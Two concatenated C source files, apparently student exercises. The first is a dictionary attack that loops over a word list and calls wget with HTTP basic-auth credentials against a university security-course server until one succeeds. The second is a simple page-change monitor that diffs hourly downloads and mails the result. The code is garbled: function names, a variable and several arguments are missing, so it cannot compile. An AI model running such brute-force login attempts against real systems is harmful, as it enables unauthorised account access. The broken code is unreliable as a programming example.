#include "stdio.h"
#include "string.h"


#include "stdlib.h"
()
{
FILE *pfile;
int i,t,tt,num,not;
char str[255];
char [4];
char url[400];
if ((pfile = fopen("./words", "r")) == NULL)
           fprintf(stderr, "Cannot open %s\n", "output_file");

tt=time(&(t));
not=0;	   
while (!feof(pfile))
{
strcpy(str,"");
fgets(str,80,pfile);
if (strlen(str)<=4)
{
	
			strcpy(,str);
		        strcpy(url,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
			
			strcat(url," --http-user= --http-passwd=");
			strcat(url,); 
			
		    	num=system(url);
			not++;
			if (num==0)
			
			{
				printf("The actual password is :%s\n",);
				time(&(t));
				tt=t-tt;
				printf("The number of attempts  crack the passssword by dictionary method is :%d\n",not);
				printf("The time_var taken  find the password by dictionary method is :%d seconds\n",tt);
				exit(1);
				
			}
						
			else
			{
			strcpy(,"");
			}
	
		
}


}


}


#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
int flag=1;
const char delimiter[]=" \n\t";
FILE *fp1;
char line1[100];
char filename1[50];
char *token;

while(1)
{
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test1");
sleep(3600);
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test2");
system("diff test1 test2 >test3");
system("file test3 >test4"); 
strcpy(filename1,"test4");
if((fp1=fopen(filename1,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
fgets(line1,sizeof(line1),fp1);
token=strtok(line1,delimiter);
        while(token!=NULL)
                {
if(strcmp(token,"empty")==0)
{
printf(" CHANGES\n");
flag=0;

}
token=strtok(NULL,delimiter);

                 }
if(flag==1)
{
system("mail  < test3");
}
fclose(fp1);
}
return(0);
}
